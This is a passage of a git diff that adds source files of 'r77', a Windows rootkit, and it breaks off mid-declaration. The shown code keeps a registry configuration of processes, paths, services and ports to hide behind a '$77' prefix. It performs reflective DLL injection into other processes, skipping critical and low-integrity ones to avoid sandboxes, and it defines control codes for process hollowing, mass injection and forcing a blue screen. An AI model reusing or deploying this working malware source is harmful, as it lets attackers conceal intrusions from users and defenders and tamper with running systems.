*NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); +typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); +typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); +typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); +typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); +typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); +typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size); +typedef HMODULE(WINAPI *NT_LOADLIBRARYA)(LPCSTR fileName); +typedef FARPROC(WINAPI *NT_GETPROCADDRESS)(HMODULE module, LPCSTR function); +typedef LPVOID(WINAPI *NT_VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect); +typedef BOOL(WINAPI *NT_DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved); + +#endif \ No newline at end of file diff --git a/r77api/r77api.vcxitems b/r77api/r77api.vcxitems new file mode 100644 index 0000000..3f5480b --- /dev/null +++ b/r77api/r77api.vcxitems @@ -0,0 +1,33 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {525fd9eb-628a-4d93-b320-3c1dfa0a216d} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/r77api/r77config.c b/r77api/r77config.c new file mode 100644 index 0000000..1fd4a18 --- /dev/null +++ b/r77api/r77config.c @@ -0,0 +1,163 @@ +#include "r77config.h" +#include "r77def.h" +#include "r77runtime.h" +#include + +PR77_CONFIG LoadR77Config() +{ + PR77_CONFIG config = NEW(R77_CONFIG); + config->StartupFiles = CreateStringList(TRUE); + config->HiddenProcessIds = CreateIntegerList(); + config->HiddenProcessNames = CreateStringList(TRUE); + config->HiddenPaths = CreateStringList(TRUE); + config->HiddenServiceNames = CreateStringList(TRUE); + config->HiddenTcpLocalPorts = CreateIntegerList(); + config->HiddenTcpRemotePorts = CreateIntegerList(); + config->HiddenUdpPorts = CreateIntegerList(); + + // Load configuration from HKEY_LOCAL_MACHINE\SOFTWARE\$77config + HKEY key; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_READ | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS) + { + // Read startup files "startup" subkey. + HKEY startupKey; + if (RegOpenKeyExW(key, L"startup", 0, KEY_READ, &startupKey) == ERROR_SUCCESS) + { + LoadStringListFromRegistryKey(config->StartupFiles, startupKey, MAX_PATH); + RegCloseKey(startupKey); + } + + // Read process ID's from the "pid" subkey. + HKEY pidKey; + if (RegOpenKeyExW(key, L"pid", 0, KEY_READ, &pidKey) == ERROR_SUCCESS) + { + LoadIntegerListFromRegistryKey(config->HiddenProcessIds, pidKey); + RegCloseKey(pidKey); + } + + // Read process names from the "process_names" subkey. + HKEY processNameKey; + if (RegOpenKeyExW(key, L"process_names", 0, KEY_READ, &processNameKey) == ERROR_SUCCESS) + { + LoadStringListFromRegistryKey(config->HiddenProcessNames, processNameKey, MAX_PATH); + RegCloseKey(processNameKey); + } + + // Read paths from the "paths" subkey. + HKEY pathKey; + if (RegOpenKeyExW(key, L"paths", 0, KEY_READ, &pathKey) == ERROR_SUCCESS) + { + LoadStringListFromRegistryKey(config->HiddenPaths, pathKey, MAX_PATH); + RegCloseKey(pathKey); + } + + // Read service names from the "service_names" subkey. + HKEY serviceNameKey; + if (RegOpenKeyExW(key, L"service_names", 0, KEY_READ, &serviceNameKey) == ERROR_SUCCESS) + { + LoadStringListFromRegistryKey(config->HiddenServiceNames, serviceNameKey, MAX_PATH); + RegCloseKey(serviceNameKey); + } + + // Read local TCP ports from the "tcp_local" subkey. + HKEY tcpLocalKey; + if (RegOpenKeyExW(key, L"tcp_local", 0, KEY_READ, &tcpLocalKey) == ERROR_SUCCESS) + { + LoadIntegerListFromRegistryKey(config->HiddenTcpLocalPorts, tcpLocalKey); + RegCloseKey(tcpLocalKey); + } + + // Read remote TCP ports from the "tcp_remote" subkey. + HKEY tcpRemoteKey; + if (RegOpenKeyExW(key, L"tcp_remote", 0, KEY_READ, &tcpRemoteKey) == ERROR_SUCCESS) + { + LoadIntegerListFromRegistryKey(config->HiddenTcpRemotePorts, tcpRemoteKey); + RegCloseKey(tcpRemoteKey); + } + + // Read UDP ports from the "udp" subkey. + HKEY udpKey; + if (RegOpenKeyExW(key, L"udp", 0, KEY_READ, &udpKey) == ERROR_SUCCESS) + { + LoadIntegerListFromRegistryKey(config->HiddenUdpPorts, udpKey); + RegCloseKey(udpKey); + } + + RegCloseKey(key); + } + + return config; +} +VOID DeleteR77Config(PR77_CONFIG config) +{ + DeleteStringList(config->StartupFiles); + DeleteIntegerList(config->HiddenProcessIds); + DeleteStringList(config->HiddenProcessNames); + DeleteStringList(config->HiddenPaths); + DeleteStringList(config->HiddenServiceNames); + DeleteIntegerList(config->HiddenTcpLocalPorts); + DeleteIntegerList(config->HiddenTcpRemotePorts); + DeleteIntegerList(config->HiddenUdpPorts); + libc_memset(config, 0, sizeof(R77_CONFIG)); + FREE(config); +} +BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB) +{ + if (configA == configB) + { + return TRUE; + } + else if (configA == NULL || configB == NULL) + { + return FALSE; + } + else + { + return + CompareStringList(configA->StartupFiles, configB->StartupFiles) && + CompareIntegerList(configA->HiddenProcessIds, configB->HiddenProcessIds) && + CompareStringList(configA->HiddenProcessNames, configB->HiddenProcessNames) && + CompareStringList(configA->HiddenPaths, configB->HiddenPaths) && + CompareStringList(configA->HiddenServiceNames, configB->HiddenServiceNames) && + CompareIntegerList(configA->HiddenTcpLocalPorts, configB->HiddenTcpLocalPorts) && + CompareIntegerList(configA->HiddenTcpRemotePorts, configB->HiddenTcpRemotePorts) && + CompareIntegerList(configA->HiddenUdpPorts, configB->HiddenUdpPorts); + } +} +BOOL InstallR77Config(PHKEY key) +{ + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_64KEY, NULL, key, NULL) == ERROR_SUCCESS) + { + // Return TRUE, even if setting the DACL fails. + // If DACL creation failed, only elevated processes will be able to write to the configuration system. + PSECURITY_DESCRIPTOR securityDescriptor = NULL; + ULONG securityDescriptorSize = 0; + if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)", SDDL_REVISION_1, &securityDescriptor, &securityDescriptorSize)) + { + RegSetKeySecurity(*key, DACL_SECURITY_INFORMATION, securityDescriptor); + LocalFree(securityDescriptor); + } + + return TRUE; + } + + return FALSE; +} +VOID UninstallR77Config() +{ + // Delete subkeys in HKEY_LOCAL_MACHINE\SOFTWARE\$77config + HKEY key; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS) + { + WCHAR subKeyName[1000]; + for (DWORD subKeyNameLength = 1000; RegEnumKeyExW(key, 0, subKeyName, &subKeyNameLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS; subKeyNameLength = 1000) + { + RegDeleteKeyW(key, subKeyName); + } + + RegCloseKey(key); + } + + // Delete HKEY_LOCAL_MACHINE\SOFTWARE\$77config + RegDeleteKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", KEY_ALL_ACCESS | KEY_WOW64_64KEY, 0); +} \ No newline at end of file diff --git a/r77api/r77config.h b/r77api/r77config.h new file mode 100644 index 0000000..1763819 --- /dev/null +++ b/r77api/r77config.h @@ -0,0 +1,81 @@ +#include "r77mindef.h" +#include "clist.h" +#ifndef _R77CONFIG_H +#define _R77CONFIG_H + +/// +/// Defines the global configuration for r77. +/// +typedef struct _R77_CONFIG +{ + /// + /// A list of file paths to start when windows starts. + /// + PSTRING_LIST StartupFiles; + /// + /// A list of process ID's to hide in addition to processes hidden by the prefix. + /// + PINTEGER_LIST HiddenProcessIds; + /// + /// A list of process names to hide in addition to processes hidden by the prefix. + /// + PSTRING_LIST HiddenProcessNames; + /// + /// A list of file or directory full paths to hide in addition to files and directories hidden by the prefix. + /// + PSTRING_LIST HiddenPaths; + /// + /// A list of service names to hide in addition to services hidden by the prefix. + /// + PSTRING_LIST HiddenServiceNames; + /// + /// A list of local TCP ports to hide. + /// + PINTEGER_LIST HiddenTcpLocalPorts; + /// + /// A list of remote TCP ports to hide. + /// + PINTEGER_LIST HiddenTcpRemotePorts; + /// + /// A list of UDP ports to hide. + /// + PINTEGER_LIST HiddenUdpPorts; +} R77_CONFIG, *PR77_CONFIG; + +/// +/// Loads the global configuration for r77. +/// +/// +/// A newly allocated R77_CONFIG structure. +/// +PR77_CONFIG LoadR77Config(); +/// +/// Deletes the specified R77_CONFIG structure. +/// +/// The R77_CONFIG structure to delete. +VOID DeleteR77Config(PR77_CONFIG config); +/// +/// Compares two R77_CONFIG structures for equality. +/// +/// The first R77_CONFIG structure. +/// The second R77_CONFIG structure. +/// +/// TRUE, if both R77_CONFIG structures are equal; +/// otherwise, FALSE. +/// +BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB); +/// +/// Creates the r77 configuration registry key with full access to all users. +/// +/// The newly created HKEY. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL InstallR77Config(PHKEY key); +/// +/// Deletes the r77 configuration from the registry. +/// +VOID UninstallR77Config(); + +#endif \ No newline at end of file diff --git a/r77api/r77def.h b/r77api/r77def.h new file mode 100644 index 0000000..d9b5a78 --- /dev/null +++ b/r77api/r77def.h @@ -0,0 +1,109 @@ +#ifndef _R77DEF_H +#define _R77DEF_H + +// These preprocessor definitions must match the constants in GlobalAssemblyInfo.cs + +/// +/// The prefix for name based hiding (e.g. processes, files, etc...). +/// +#define HIDE_PREFIX L"$77" +/// +/// The length of the hide prefix, excluding the terminating null character. +/// +#define HIDE_PREFIX_LENGTH (sizeof(HIDE_PREFIX) / sizeof(WCHAR) - 1) + +/// +/// r77 header signature: The process is injected with the r77 DLL. +/// +#define R77_SIGNATURE 0x7277 +/// +/// r77 header signature: The process is the r77 service process. +/// +#define R77_SERVICE_SIGNATURE 0x7273 +/// +/// r77 header signature: The process is an r77 helper file (e.g. TestConsole.exe). +/// +#define R77_HELPER_SIGNATURE 0x7268 + +/// +/// Name for the scheduled task that starts the r77 service for 32-bit processes. +/// +#define R77_SERVICE_NAME32 HIDE_PREFIX L"svc32" +/// +/// Name for the scheduled task that starts the r77 service for 64-bit processes. +/// +#define R77_SERVICE_NAME64 HIDE_PREFIX L"svc64" + +/// +/// Name for the named pipe that notifies the 32-bit r77 service about new child processes. +/// +#define CHILD_PROCESS_PIPE_NAME32 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc32" +/// +/// Name for the named pipe that notifies the 64-bit r77 service about new child processes. +/// +#define CHILD_PROCESS_PIPE_NAME64 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc64" + +/// +/// Name for the named pipe that receives commands from external processes. +/// +#define CONTROL_PIPE_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control" +/// +/// Name for the internally used named pipe of the 64-bit r77 service that receives redirected commands from the 32-bit r77 service. +/// Do not use! Always use CONTROL_PIPE_NAME. +/// +#define CONTROL_PIPE_REDIRECT64_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control_redirect64" + +/// +/// Specifies a list of processes that will not be injected. +/// By default, this list includes processes that are known to cause problems. +/// To customize this list, add custom entries and recompile. +/// +#define PROCESS_EXCLUSIONS { L"MSBuild.exe" } +// Example: { L"MSBuild.exe", L"your_app.exe", L"another_app.exe" } + +/// +/// The control code that terminates the r77 service. +/// +#define CONTROL_R77_TERMINATE_SERVICE 0x1001 +/// +/// The control code that uninstalls r77. +/// +#define CONTROL_R77_UNINSTALL 0x1002 +/// +/// The control code that temporarily pauses injection of new processes. +/// +#define CONTROL_R77_PAUSE_INJECTION 0x1003 +/// +/// The control code that resumes injection of new processes. +/// +#define CONTROL_R77_RESUME_INJECTION 0x1004 +/// +/// The control code that injects r77 into a specific process, if it is not yet injected. +/// +#define CONTROL_PROCESSES_INJECT 0x2001 +/// +/// The control code that injects r77 into all processes that are not yet injected. +/// +#define CONTROL_PROCESSES_INJECT_ALL 0x2002 +/// +/// The control code that detaches r77 from a specific process. +/// +#define CONTROL_PROCESSES_DETACH 0x2003 +/// +/// The control code that detaches r77 from all processes. +/// +#define CONTROL_PROCESSES_DETACH_ALL 0x2004 +/// +/// The control code that executes a file using ShellExecute. +/// +#define CONTROL_USER_SHELLEXEC 0x3001 +/// +/// The control code that executes an executable using process hollowing. +/// +#define CONTROL_USER_RUNPE 0x3002 +/// +/// The control code that triggers a BSOD. +/// +#define CONTROL_SYSTEM_BSOD 0x4001 + +#endif \ No newline at end of file diff --git a/r77api/r77mindef.h b/r77api/r77mindef.h new file mode 100644 index 0000000..d584116 --- /dev/null +++ b/r77api/r77mindef.h @@ -0,0 +1,36 @@ +#include +#include +#ifndef _R77MINDEF_H +#define _R77MINDEF_H + +#pragma warning(disable: 6258) // Using TerminateThread does not allow proper thread clean up. + +#define NEW(type) (type*)HeapAlloc(GetProcessHeap(), 0, sizeof(type)) +#define NEW_ARRAY(type, length) (type*)HeapAlloc(GetProcessHeap(), 0, sizeof(type) * (length)) +#define FREE(buffer) HeapFree(GetProcessHeap(), 0, buffer); + +/// +/// Returns TRUE, if the bitness of the current process is equal to bits. +/// +#define BITNESS(bits) (sizeof(LPVOID) * 8 == (bits)) +/// +/// Returns either if32 or if64 depending on the bitness of the current process. +/// +#define COALESCE_BITNESS(if32, if64) (sizeof(LPVOID) == 4 ? (if32) : (if64)) +/// +/// Rotates a value right by a defined number of bits. +/// +#define ROTR(value, bits) ((DWORD)(value) >> (bits) | (DWORD)(value) << (32 - (bits))) + +#ifdef CUSTOM_ENTRY +int main(); +int __stdcall EntryPoint() +{ + // Define CUSTOM_ENTRY, if compiling with /ENTRY + // ExitProcess is required, if entry point is defined manually. + + ExitProcess(main()); +} +#endif + +#endif \ No newline at end of file diff --git a/r77api/r77process.c b/r77api/r77process.c new file mode 100644 index 0000000..fdc70cd --- /dev/null +++ b/r77api/r77process.c @@ -0,0 +1,232 @@ +#include "r77process.h" +#include "r77def.h" +#include "r77win.h" +#include "r77runtime.h" +#include +#include + +BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast) +{ + BOOL result = FALSE; + + // Unlike with "regular" DLL injection, the bitness must be checked explicitly. + BOOL is64Bit; + if (Is64BitProcess(processId, &is64Bit) && BITNESS(is64Bit ? 64 : 32)) + { + HANDLE process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, processId); + if (process) + { + // Check, if the executable name is on the exclusion list (see: PROCESS_EXCLUSIONS) + BOOL processExcluded = FALSE; + WCHAR processName[MAX_PATH + 1]; + if (GetProcessFileName(processId, FALSE, processName, MAX_PATH)) + { + LPCWSTR exclusions[] = PROCESS_EXCLUSIONS; + for (int i = 0; i < sizeof(exclusions) / sizeof(LPCWSTR); i++) + { + if (!StrCmpIW(processName, exclusions[i])) + { + processExcluded = TRUE; + break; + } + } + } + + if (!processExcluded) + { + // Do not inject critical processes (smss, csrss, wininit, etc.). + ULONG breakOnTermination; + if (NT_SUCCESS(NtQueryInformationProcess(process, ProcessBreakOnTermination, &breakOnTermination, sizeof(ULONG), NULL)) && !breakOnTermination) + { + // Sandboxes tend to crash when injecting shellcode. Only inject medium IL and above. + DWORD integrityLevel; + if (GetProcessIntegrityLevel(process, &integrityLevel) && integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID) + { + // Get function pointer to the shellcode that loads the DLL reflectively. + DWORD entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain"); + if (entryPoint) + { + LPBYTE allocatedMemory = (LPBYTE)VirtualAllocEx(process, NULL, dllSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (allocatedMemory) + { + if (WriteProcessMemory(process, allocatedMemory, dll, dllSize, NULL)) + { + HANDLE thread = NULL; + if (NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread) + { + if (fast) + { + // Fast mode is for bulk operations, where the return value of this function is ignored. + // The return value of DllMain is not checked. This function just returns TRUE, if NtCreateThreadEx succeeded. + result = TRUE; + } + else if (WaitForSingleObject(thread, 100) == WAIT_OBJECT_0) + { + // Return TRUE, only if DllMain returned TRUE. + // DllMain returns FALSE, for example, if r77 is already injected. + DWORD exitCode; + if (GetExitCodeThread(thread, &exitCode)) + { + result = exitCode != 0; + } + } + + CloseHandle(thread); + } + } + } + } + } + } + } + + CloseHandle(process); + } + } + + return result; +} + +BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count) +{ + BOOL result = TRUE; + DWORD actualCount = 0; + + LPDWORD processes = NEW_ARRAY(DWORD, 10000); + DWORD processCount = 0; + HMODULE *modules = NEW_ARRAY(HMODULE, 10000); + DWORD moduleCount = 0; + BYTE moduleBytes[512]; + + if (EnumProcesses(processes, 10000 * sizeof(DWORD), &processCount)) + { + processCount /= sizeof(DWORD); + + for (DWORD i = 0; i < processCount; i++) + { + HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[i]); + if (process) + { + if (EnumProcessModules(process, modules, 10000 * sizeof(HMODULE), &moduleCount)) + { + moduleCount /= sizeof(HMODULE); + + for (DWORD j = 0; j < moduleCount; j++) + { + if (ReadProcessMemory(process, (LPBYTE)modules[j], moduleBytes, 512, NULL)) + { + WORD signature = *(LPWORD)&moduleBytes[sizeof(IMAGE_DOS_HEADER)]; + if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE) + { + if (actualCount < *count) + { + r77Processes[actualCount].ProcessId = processes[i]; + r77Processes[actualCount].Signature = signature; + r77Processes[actualCount++].DetachAddress = signature == R77_SIGNATURE ? *(DWORD64*)&moduleBytes[sizeof(IMAGE_DOS_HEADER) + 2] : 0; + } + else + { + result = FALSE; + } + + break; + } + } + } + } + + CloseHandle(process); + } + } + } + + FREE(processes); + FREE(modules); + + *count = actualCount; + return result; +} +BOOL DetachInjectedProcess(PR77_PROCESS r77Process) +{ + BOOL result = FALSE; + + if (r77Process->Signature == R77_SIGNATURE) + { + HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Process->ProcessId); + if (process) + { + // R77_PROCESS.DetachAddress is a function pointer to DetachRootkit() + HANDLE thread = NULL; + if (NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process->DetachAddress, NULL, 0, 0, 0, 0, NULL)) && thread) + { + result = TRUE; + CloseHandle(thread); + } + + CloseHandle(process); + } + } + + return result; +} +BOOL DetachInjectedProcessById(DWORD processId) +{ + BOOL result = FALSE; + PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000); + DWORD r77ProcessCount = 1000; + + if (GetR77Processes(r77Processes, &r77ProcessCount)) + { + for (DWORD i = 0; i < r77ProcessCount; i++) + { + if (r77Processes[i].Signature == R77_SIGNATURE && r77Processes[i].ProcessId == processId) + { + result = DetachInjectedProcess(&r77Processes[i]); + break; + } + } + } + + FREE(r77Processes); + return result; +} +VOID DetachAllInjectedProcesses() +{ + PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000); + DWORD r77ProcessCount = 1000; + + if (GetR77Processes(r77Processes, &r77ProcessCount)) + { + for (DWORD i = 0; i < r77ProcessCount; i++) + { + if (r77Processes[i].Signature == R77_SIGNATURE) + { + DetachInjectedProcess(&r77Processes[i]); + } + } + } + + FREE(r77Processes); +} +VOID TerminateR77Service(DWORD excludedProcessId) +{ + PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000); + DWORD r77ProcessCount = 1000; + if (GetR77Processes(r77Processes, &r77ProcessCount)) + { + for (DWORD i = 0; i < r77ProcessCount; i++) + { + if (r77Processes[i].Signature == R77_SERVICE_SIGNATURE && r77Processes[i].ProcessId != excludedProcessId) + { + HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, r77Processes[i].ProcessId); + if (process) + { + TerminateProcess(process, 0); + CloseHandle(process); + } + } + } + } + + FREE(r77Processes); +} \ No newline at end of file diff --git a/r77api/r77process.h b/r77api/r77process.h new file mode 100644 index 0000000..20be520 --- /dev/null +++ b/r77api/r77process.h @@ -0,0 +1,87 @@ +#include "r77mindef.h" +#ifndef _R77PROCESS_H +#define _R77PROCESS_H + +/// +/// Defines the r77 header. +/// +typedef struct _R77_PROCESS +{ + /// + /// The process ID of the process. + /// + DWORD ProcessId; + /// + /// The signature (R77_SIGNATURE, R77_SERVICE_SIGNATURE, or R77_HELPER_SIGNATURE). + /// + WORD Signature; + /// + /// A function pointer to DetachRootkit() in the remote process. This function detaches the injected r77 DLL + /// Applies only, if Signature == R77_SIGNATURE. + /// + DWORD64 DetachAddress; +} R77_PROCESS, *PR77_PROCESS; + +/// +/// Injects a DLL using reflective DLL injection. +/// The DLL must export a function called "ReflectiveDllMain". +/// The bitness of the target process must match that of the current process. +/// The integrity level of the target process must be at least medium. +/// The process must not be critical. +/// +/// The process to inject the DLL in. +/// A buffer with the DLL file. +/// dllSize The size of the DLL file. +/// TRUE to not wait for DllMain to return. If this parameter is set, this function does not return FALSE, if DllMain returned FALSE. +/// +/// TRUE, if the DLL was successfully injected and DllMain returned TRUE; +/// otherwise, FALSE. +/// +BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast); + +/// +/// Retrieves a list of all processes where an r77 header is present. +/// The result includes only processes where the bitness matches that of the current process. +/// +/// A buffer with R77_PROCESS structures to write the result to. +/// A DWORD pointer with the number of structures in the buffer. The number of returned entries is written to this value. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count); +/// +/// Detaches r77 from the specified process. +/// The bitness of the target process must match that of the current process. +/// +/// The process to detach r77 from. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL DetachInjectedProcess(PR77_PROCESS r77Process); +/// +/// Detaches r77 from the specified process. +/// The bitness of the target process must match that of the current process. +/// +/// The process ID to detach r77 from. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL DetachInjectedProcessById(DWORD processId); +/// +/// Detaches r77 from all running processes. +/// Only processes where the bitness matches that of the current process are detached. +/// +VOID DetachAllInjectedProcesses(); +/// +/// Terminates all r77 service processes. Typically, there are two active r77 service processes, one 32-bit and one 64-bit process. +/// Only processes where the bitness matches that of the current process are terminated. +/// +/// +/// A process ID that should not be terminated. Use -1 to not exclude any processes. +/// +VOID TerminateR77Service(DWORD excludedProcessId); + +#endif \ No newline at end of file diff --git a/r77api/r77runtime.c b/r77api/r77runtime.c new file mode 100644 index 0000000..127a28d --- /dev/null +++ b/r77api/r77runtime.c @@ -0,0 +1,101 @@ +#include "r77runtime.h" +#include "r77win.h" +#include "ntdll.h" + +VOID libc_memcpy(LPVOID dest, LPVOID src, SIZE_T size) +{ + for (volatile LPBYTE destPtr = dest, srcPtr = src; size; size--) + { + *destPtr++ = *srcPtr++; + } +} +VOID libc_wmemcpy(LPVOID dest, LPVOID src, SIZE_T size) +{ + for (volatile PWCHAR destPtr = dest, srcPtr = src; size; size--) + { + *destPtr++ = *srcPtr++; + } +} +VOID libc_memset(LPVOID dest, INT value, SIZE_T size) +{ + for (volatile LPBYTE destPtr = dest; size; size--) + { + *destPtr++ = value; + } +} +VOID libc_ltow(LONG value, PWCHAR buffer) +{ + if (value < 0) + { + *buffer++ = L'-'; + value = -value; + } + + INT length = 0; + for (LONG i = value; i; i /= 10) + { + length++; + } + + for (INT i = 0; i < length; i++) + { + buffer[length - i - 1] = L'0' + value % 10; + value /= 10; + } + + buffer[length] = L'\0'; +} +DWORD libc_strhash(LPCSTR str) +{ + DWORD hash = 0; + + while (*str) + { + hash = ROTR(hash, 13) + *str++; + } + + return hash; +} +DWORD libc_strhashi(LPCSTR str, USHORT length) +{ + DWORD hash = 0; + + for (; length--; str++) + { + hash = ROTR(hash, 13) + (*str >= 'a' ? *str - 0x20 : *str); + } + + return hash; +} + +NTSTATUS NTAPI NtQueryObject2(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength) +{ + // NtQueryObject must be called by using GetProcAddress on Windows 7. + return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength); +} +NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer) +{ + // Use NtCreateThreadEx instead of CreateRemoteThread. + // CreateRemoteThread does not work across sessions in Windows 7. + return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer); +} +NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue) +{ + return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue); +} +NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb) +{ + return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb); +} +BOOL IsWindows10OrGreater2() +{ + OSVERSIONINFOEXW versionInfo; + libc_memset(&versionInfo, 0, sizeof(OSVERSIONINFOEXW)); + versionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); + versionInfo.dwMajorVersion = HIBYTE(_WIN32_WINNT_WINTHRESHOLD); + versionInfo.dwMinorVersion = LOBYTE(_WIN32_WINNT_WINTHRESHOLD); + versionInfo.wServicePackMajor = 0; + + DWORDLONG conditionMask = VerSetConditionMask(VerSetConditionMask(VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL), VER_MINORVERSION, VER_GREATER_EQUAL), VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL); + return VerifyVersionInfoW(&versionInfo, VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR, conditionMask) != FALSE; +} \ No newline at end of file diff --git a/r77api/r77runtime.h b/r77api/r77runtime.h new file mode 100644 index 0000000..3e98359 --- /dev/null +++ b/r77api/r77runtime.h @@ -0,0 +1,24 @@ +#include "r77mindef.h" +#ifndef _R77RUNTIME_H +#define _R77RUNTIME_H + +// Shellcode variants of libc functions +// - Used by the reflective loader, prior to any DLL's being loaded +// - Used where MSVCRT replacements are needed, when /NODEFAULTLIB is used + +VOID libc_memcpy(LPVOID dest, LPVOID src, SIZE_T size); +VOID libc_wmemcpy(LPVOID dest, LPVOID src, SIZE_T size); +VOID libc_memset(LPVOID dest, INT value, SIZE_T size); +VOID libc_ltow(LONG value, PWCHAR buffer); +DWORD libc_strhash(LPCSTR str); +DWORD libc_strhashi(LPCSTR str, USHORT length); + +// API's that are called by using GetProcAddress + +NTSTATUS NTAPI NtQueryObject2(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); +NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); +NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN 